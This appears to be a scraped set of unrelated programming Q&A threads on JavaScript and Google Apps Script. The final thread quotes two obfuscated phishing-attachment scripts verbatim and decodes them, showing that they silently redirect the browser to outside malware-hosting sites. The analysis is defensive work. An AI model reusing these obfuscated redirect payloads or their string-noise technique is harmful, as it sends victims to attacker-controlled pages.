I have a javascript code with functions:
function convertTime()
function loadZive()
Let's say that I have the following code:
function convertTime(){
alert(exampleVariable);
};
function loadZive(){
var exampleVariable = 3;
convertTime();
};
It looks like my convertTime() function can't access exampleVariable. Is there any workaround?
Here is whole code:
function convertTime(publishedDate){
alert(publishedDate);
var date = publishedDate;
var publishedDay = date.toLocaleDateString();
var publishedHour = date.getHours(); //nemozno pouzit toLocaleTimeString (cielovy format ma byt bez sekund)
if (publishedHour < 10){
publishedHour = "0" + publishedHour;
};
var publishedMinute = date.getMinutes(); //nacitanie hodin a minut
if (publishedMinute < 10){
publishedMinute = "0" + publishedMinute;
};
var publishedTime = publishedHour +":"+ publishedMinute; //ich nasledne spojenie do casoveho formatu HH:MM
var publishedDateConverted = publishedDay +", "+ publishedTime;
};
function loadZive(publishedDateConverted){
google.load("feeds", "1");
function initialize() {
var feed = new google.feeds.Feed("http://www.zive.sk/rss/sc-47/default.aspx");
feed.setNumEntries(window.localStorage.getItem("entriesNumber"));
feed.load(function(result) {
if (!result.error) {
var feedlist = document.getElementById("feedZive");
for (var i = 0; i < result.feed.entries.length; i++) {
var li = document.createElement("li");
var entry = result.feed.entries[i];
var A = document.createElement("A");
var descriptionSettings = window.localStorage.getItem("descriptionSettings");
if (descriptionSettings=="true"){
var h3 = document.createElement("h3");
var p = document.createElement("p");
var pDate = document.createElement("p");
pDate.setAttribute("class","ui-li-aside");
var publishedDate = new Date(entry.publishedDate);
convertTime();
pDate.appendChild(document.createTextNode(publishedDateConverted));
h3.appendChild(document.createTextNode(entry.title));
p.appendChild(document.createTextNode(entry.content));
A.setAttribute("href",entry.link);
A.appendChild(h3);
A.appendChild(p);
A.appendChild(pDate);
}
else{
A.setAttribute("href",entry.link);
A.appendChild(document.createTextNode(entry.title));
};
li.appendChild(A);
feedlist.appendChild(li);
}
$("#feedZive").listview("refresh");
}
});
}
google.setOnLoadCallback(initialize);
};
Alert result is Undefined.
PS: exampleVariable isn't defined by the user; it is loaded from a feed, so I cannot define it before the convertTime() function.
As Danny said, or you can also pass variables this way:
function convertTime(exampleVariable){
alert(exampleVariable);
};
function loadZive(){
var exampleVariable = 3;
convertTime(exampleVariable);
};
Remove var from loadZive(), this makes the variable local to loadZive() only.
Alternatively, pass exampleVariable as a parameter to convertTime().
Related
I only want to display certain entries in my google calendar.
I would like to use regular expressions for that (^([0-9]+day).
in my prototype I get full of mistakes:
TypeError: "0"
function myFunction() {
var cal = CalendarApp.getCalendarById("sl5something#gmail.com")
var now = new Date();
var events = cal.getEventsForDay(now)
for(var i = 0; i<events.length;i++){
title = events[i].getTitle()
var ar = title.match(/^([0-9]+day)/)
var preTitle = ar[0]; // <===== TypeError: "1"
var postTitle = ar[1];
if(preTitle){
Browser.msgBox(preTitle + ":" + postTitle)
}
}
}
this works as expected:
function myFunction() {
var cal = CalendarApp.getCalendarById("someEmail#gmail.com")
var now = new Date();
var events = cal.getEventsForDay(now)
for(var i = 0; i<events.length;i++){
title = events[i].getTitle()
var ar = title.match(/^([0-9]+day)(.*)/)
if(!ar) // <==== this helps
continue
var preTitle = ar[1]; // <===== no TypeError: "1"
var postTitle = ar[2];
Browser.msgBox(preTitle + " ### " + postTitle)
}
}
I am new to javascript or google apps script. I am using this function to import data into MySQL database from a google spreadsheet. This sheet has over 16000 records and I would want to breakdown the import into smaller batches of 2000 records. In the function createGASTrigger() how would I change my logic to grab first 2000 records from the spreadsheet in the first iteration and then the next 2000 records in second iteration and so on.
Function 1
var address = 'database_IP_address';
var rootPwd = 'root_password';
var user = 'user_name';
var userPwd = 'user_password';
var db = 'database_name';
var root = 'root';
var instanceUrl = 'jdbc:mysql://' + address;
var dbUrl = instanceUrl + '/' + db;
function myFunction() {
var stime = new Date();
var col1;
var col2;
var col3;
var dbconnection = Jdbc.getConnection(dbUrl, root, rootPwd);
var statement = dbconnection.createStatement();
var googlesheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('sheet1');
var data = googlesheet.getDataRange().getValues();
dbconnection.setAutoCommit(false)
for (var i = 1; i < data.length; i++) {
col1 = data[i][0];
col2 = data[i][1];
col3 = data[i][2];
var sql = "{call [dbo].[sp_googlesheetimport](?,?,?)}";
statement = dbconnection.prepareCall(sql);
statement.setString(1, col1);
statement.setString(2, col2);
statement.setString(3, col3);
statement.addBatch();
}
statement.executeBatch();
dbconnection.commit();
statement.close();
dbconnection.close();
var etime = new Date();
Logger.log('Exec time: ' + (etime.getTime() - stime.getTime()));
}
Function 2
function createGASTrigger() {
var varUserPropertiesService = PropertiesService.getUserProperties();
var varUserTriggerId = varUserPropertiesService.getProperty("myFunction");
var varUserTrigger = ScriptApp.getProjectTriggers();
for (var i in varUserTrigger) {
if (varUserTrigger[i].getUniqueId() == varUserTriggerId)
try
{
ScriptApp.deleteTrigger(varUserTrigger[i]);
}
catch(e)
{
Utilities.sleep(30000);
ScriptApp.deleteTrigger(varUserTrigger[i]);
}
}
myFunction();
var userProperties = PropertiesService.getUserProperties();
try
{
var nextTrigger = ScriptApp.newTrigger("myFunction").timeBased().after(1 * 120 * 1000).create();
}
catch(e)
{
Utilities.sleep(30000);
var nextTrigger = ScriptApp.newTrigger("myFunction").timeBased().after(1 * 120 * 1000).create();
}
}
I haven't tested this but I think this is a good starting point.
function myFunction() {
var stime = new Date();
var col1;
var col2;
var col3;
var dbconnection = Jdbc.getConnection(dbUrl, root, rootPwd);
var statement = dbconnection.createStatement();
var googlesheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('sheet1');
var data = googlesheet.getDataRange().getValues();
var itrows=1000;
var complete=false;
if(PropertiesService.getScriptProperties().getProperty('iteration'))
{
var iteration=Number(PropertiesService.getScriptProperties().getProperty('iteration') + 1);
}
else
{
var iteration=Number(PropertiesService.getScriptProperties().setProperty('iteration', 1));
}
var max=itrows * iteration;
var min=max - itrows + 1;
if(max>data.length-1)
{
max=data.length-1;
complete=true;
}
dbconnection.setAutoCommit(false)
for (var i=min;i<=max;i++)
{
col1 = data[i][0];
col2 = data[i][1];
col3 = data[i][2];
var sql = "{call [dbo].[sp_googlesheetimport](?,?,?)}";
statement = dbconnection.prepareCall(sql);
statement.setString(1, col1);
statement.setString(2, col2);
statement.setString(3, col3);
statement.addBatch();
}
statement.executeBatch();
dbconnection.commit();
statement.close();
dbconnection.close();
if(complete)
{
PropertiesService.getScriptProperties().deleteProperty('iteration');
}
var etime = new Date();
Logger.log('Exec time: ' + (etime.getTime() - stime.getTime()));
}
function createGASTrigger() {
var varUserPropertiesService = PropertiesService.getUserProperties();
var varUserTriggerId = varUserPropertiesService.getProperty("myFunction");
var varUserTrigger = ScriptApp.getProjectTriggers();
for (var i=0;i<varUserTrigger.length;i++)
{
if (varUserTrigger[i].getUniqueId() == varUserTriggerId)
{
ScriptApp.deleteTrigger(varUserTrigger[i]);
break;
}
}
var userProperties = PropertiesService.getUserProperties();
var nextTrigger = ScriptApp.newTrigger("myFunction").timeBased().after(1 * 120 * 1000).create();
}
Either store a page value in PropertiesService.getScriptProperties() or add a value to the spreadsheet for all rows as you add them
I'm trying to write a javascript bookmark that, based on the current URL, navigates you to another page. Then after that navigation is done, it looks for a particular ID tag then navigates you again.
I have the first navigation done and working:
javascript:
(function() {
ADCURL = "PageA.aspx";
var temp = window.location.href;
var tarr = temp.split("/");
var serv = "https://" + tarr[2];
var x = document.getElementsByTagName("html")[0].dir;
if (x) {
var x = document.getElementsByTagName("link");
for (i = 0; i < x.length; i++) {
var y = x[i].attributes[2].value;
var lookingfor = "_vti_bin";
var lookingforRegExp = new RegExp(lookingfor);
if (lookingforRegExp.test(y)) {
var z = y.replace("_vti_bin/spsdisco.aspx", ADCURL);
var link = serv + z;
window.location.href = link;
}
}
} else {
DL5 = document.links;
for (lKi = 0; lKi < DL5.length; lKi++) {
map = DL5[lKi];
var lookingfor = "sites";
var lookingforRegExp = new RegExp(lookingfor);
if (lookingforRegExp.test(map)) {
var lookingfor = "_layout";
var lookingforRegExp = new RegExp(lookingfor);
if (lookingforRegExp.test(map)) {} else {
var lookingfor = "SharedDocuments";
var lookingforRegExp = new RegExp(lookingfor);
if (lookingforRegExp.test(map)) {
var n = String(map).indexOf("SharedDocuments");
var x = String(map).slice(0, n);
var link = x + ADCURL;
window.location.href = link;
}
}
}
}
}
})();
however when I try to use a SetTimeout to delay the script so I can grab the ID i need from the page I navigated to, nothing happens (for now I just have a window alert in there as a placeholder until I get the SetTimeout to work):
javascript:
(function() {
ADCURL = "PageA.aspx";
var temp = window.location.href;
var tarr = temp.split("/");
var serv = "https://" + tarr[2];
var x = document.getElementsByTagName("html")[0].dir;
if (x) {
var x = document.getElementsByTagName("link");
for (i = 0; i < x.length; i++) {
var y = x[i].attributes[2].value;
var lookingfor = "_vti_bin";
var lookingforRegExp = new RegExp(lookingfor);
if (lookingforRegExp.test(y)) {
var z = y.replace("_vti_bin/spsdisco.aspx", ADCURL);
var link = serv + z;
window.location.href = link;
}
}
} else {
DL5 = document.links;
for (lKi = 0; lKi < DL5.length; lKi++) {
map = DL5[lKi];
var lookingfor = "sites";
var lookingforRegExp = new RegExp(lookingfor);
if (lookingforRegExp.test(map)) {
var lookingfor = "_layout";
var lookingforRegExp = new RegExp(lookingfor);
if (lookingforRegExp.test(map)) {} else {
var lookingfor = "SharedDocuments";
var lookingforRegExp = new RegExp(lookingfor);
if (lookingforRegExp.test(map)) {
var n = String(map).indexOf("SharedDocuments");
var x = String(map).slice(0, n);
var link = x + ADCURL;
window.location.href = link;
}
}
}
}
}
setTimeout(function(){window.alert("yes");}, 2000);
})();
Any ideas what's going on? When using javascript in bookmarks is it not possible to do what I'm trying to do?
I'm getting HTML from a forum url, and parsing the post count of the user from their profile page. I don't know how to write the parsed number into the Google spreadsheet.
It should go account by account in column B till last row and update the column A with count.
The script doesn't give me any errors, but it doesn't set the retrieved value into the spreadsheet.
function msg(message){
Browser.msgBox(message);
}
function onOpen() {
var ui = SpreadsheetApp.getUi();
ui.createMenu("Update")
.addItem('Update Table', 'updatePosts')
.addToUi();
}
function getPostCount(profileUrl){
var html = UrlFetchApp.fetch(profileUrl).getContentText();
var sliced = html.slice(0,html.search('Posts Per Day'));
sliced = sliced.slice(sliced.search('<dt>Total Posts</dt>'),sliced.length);
postCount = sliced.slice(sliced.search("<dd> ")+"<dd> ".length,sliced.search("</dd>"));
return postCount;
}
function updatePosts(){
if(arguments[0]===false){
showAlert = false;
} else {
showAlert=true;
}
var spreadSheet = SpreadsheetApp.getActiveSpreadsheet();
var accountSheet = spreadSheet.getSheetByName("account-stats");
var statsLastCol = statsSheet.getLastColumn();
var accountCount = accountSheet.getLastRow();
var newValue = 0;
var oldValue = 0;
var totalNewPosts = 0;
for (var i=2; i<=accountCount; i++){
newValue = parseInt(getPostCount(accountSheet.getRange(i, 9).getValue()));
oldValue = parseInt(accountSheet.getRange(i, 7).getValue());
totalNewPosts = totalNewPosts + newValue - oldValue;
accountSheet.getRange(i, 7).setValue(newValue);
statsSheet.getRange(i,statsLastCol).setValue(newValue-todaysValue);
}
if(showAlert==false){
return 0;
}
msg(totalNewPosts+" new post found!");
}
function valinar(needle, haystack){
haystack = haystack[0];
for (var i in haystack){
if(haystack[i]==needle){
return true;
}
}
return false;
}
The is the first time I'm doing something like this and working from an example from other site.
I have one more question. In function getPostCount I send the function profileurl. Where do I declare that ?
Here is how you get the URL out of the spreadsheet:
function getPostCount(profileUrl){
var ss = SpreadsheetApp.getActiveSpreadsheet();
var thisSheet = ss.getSheetByName("List1");
var getNumberOfRows = thisSheet.getLastRow();
var urlProfile = "";
var sliced = "";
var A_Column = "";
var arrayIndex = 0;
var rngA2Bx = thisSheet.getRange(2, 2, getNumberOfRows, 1).getValues();
for (var i = 2; i < getNumberOfRows + 1; i++) { //Start getting urls from row 2
//Logger.log('count i: ' + i);
arrayIndex = i-2;
urlProfile = rngA2Bx[arrayIndex][0];
//Logger.log('urlProfile: ' + urlProfile);
var html = UrlFetchApp.fetch(urlProfile).getContentText();
sliced = html.slice(0,html.search('Posts Per Day'));
var postCount = sliced.slice(sliced.search("<dd> ")+"<dd> ".length,sliced.search("</dd>"));
sliced = sliced.slice(sliced.search('<dt>Total Posts</dt>'),sliced.length);
postCount = sliced.slice(sliced.search("<dd> ")+"<dd> ".length,sliced.search("</dd>"));
Logger.log('postCount: ' + postCount);
A_Column = thisSheet.getRange(i, 1);
A_Column.setValue(postCount);
};
}
You're missing var in front of one of your variables:
postCount = sliced.slice(sliced.search("<dd> ")+"<dd> ".length,sliced.search("</dd>"));
That won't work. Need to put var in front. var postCount = ....
In this function:
function updatePosts(){
if(arguments[0]===false){
showAlert = false;
} else {
showAlert=true;
}
There is no array named arguments anywhere in your code. Where is arguments defined and how is it getting any values put into it?
I've just found out that a spammer is sending email from our domain name, pretending to be us, saying:
Dear Customer,
This e-mail was send by ourwebsite.com
to notify you that we have temporanly
prevented access to your account.
We have reasons to beleive that your
account may have been accessed by
someone else. Please run attached file
and Follow instructions.
(C) ourwebsite.com (I changed that)
The attached file is an HTML file that has the following javascript:
<script type='text/javascript'>function mD(){};this.aB=43719;mD.prototype = {i : function() {var w=new Date();this.j='';var x=function(){};var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');var d=new Date();y="";aL="";var f=document;var s=function(){};this.yE="";aN="";var dL='';var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];this.v="v";var q=27427;var m=new Date();iD['hqrteqfH'.replace(/[Htqag]/g, '')]=a;dE='';k="";var qY=function(){};}};xO=false;var b=new mD(); yY="";b.i();this.xT='';</script>
Another email had this:
<script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script>
Can anyone tells me what it does? So we can see if we have a vulnerability, and if we need to tell our customers about it ...
Thanks
Answer:
The script executes
document.location.href = "http://mvblaw.com/z.htm"; //Evil site (I assume)
It also contains a large number of useless lines to hide the script's true purpose.
Analysis
Here it is unpacked.
function mD() {};
this.aB = 43719;
mD.prototype = {
i: function () {
var w = new Date();
this.j = '';
var x = function () {};
var a = 'hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');
var d = new Date();
y = "";
aL = "";
var f = document;
var s = function () {};
this.yE = "";
aN = "";
var dL = '';
var iD = f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
this.v = "v";
var q = 27427;
var m = new Date();
iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
dE = '';
k = "";
var qY = function () {};
}
};
xO = false;
var b = new mD();
yY = "";
b.i();
this.xT = '';
Cleaning up the obfuscations and adding meaningful names, it becomes
function TempClass() {};
this.aB = 43719;
TempClass.prototype = {
doIt: function () {
var w = new Date();
this.j = '';
var x = function () {};
var a = "http://mvblaw.com/z.htm"; //Evil site (I assume)
var d = new Date();
y = "";
aL = "";
var f = document;
var s = function () {};
this.yE = "";
aN = "";
var dL = '';
var iD = f['location'];
this.v = "v";
var q = 27427;
var m = new Date();
iD['href'] = a;
dE = '';
k = "";
var qY = function () {};
}
};
xO = false;
var b = new TempClass();
yY = "";
b.doIt();
this.xT = '';
Removing all of the useless lines, it becomes
function TempClass() {};
TempClass.prototype = {
doIt: function () {
var a = "http://mvblaw.com/z.htm"; //Evil site (I assume)
var f = document;
var iD = f['location'];
iD['href'] = a;
}
};
var b = new TempClass();
b.doIt();
The script has a lot of useless stuff just to create confusion, the essential parts of the script are:
function mD() {};
mD.prototype = {
i: function () {
// read between every two letters:
var a = 'hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'
.replace(/[gJG,\<]/g, '');
var f = document;
var iD = f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
}
};
var b = new mD();
b.i();
If we clean up more:
function mD() {};
mD.prototype = {
i: function () {
var a = 'http://mvblaw.com/z.htm';
var f = document;
var iD = f['location'];
iD['href'] = a;
}
};
var b = new mD();
b.i();
And more:
function mD() {};
mD.prototype = {
i: function () {
document.location.href = 'http://mvblaw.com/z.htm';
}
};
var b = new mD();
b.i();
No geniuses, they:
hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');
h t t p : / / m v b l a w . c o m / z . h t m
f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
l o c a t i o n
iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
h r e f
Didn't even need to run it through regex :)
I'm going to assume they hacked mvblaw and snuck the payload page on there. Anyone with a VM want to see what it does?
Basically, it appears to set (document['location'])['href'] (or, in regular speak, document.location.href) to http://mvblaw.com/z.htm.
The obfuscation code is pretty simple, just replacing the noise characters with nothing:
var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');
// a = http://mvblaw.com/z.htm
var f=document;
var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
// iD = document.location
iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
// document.location.href = a (the URL above).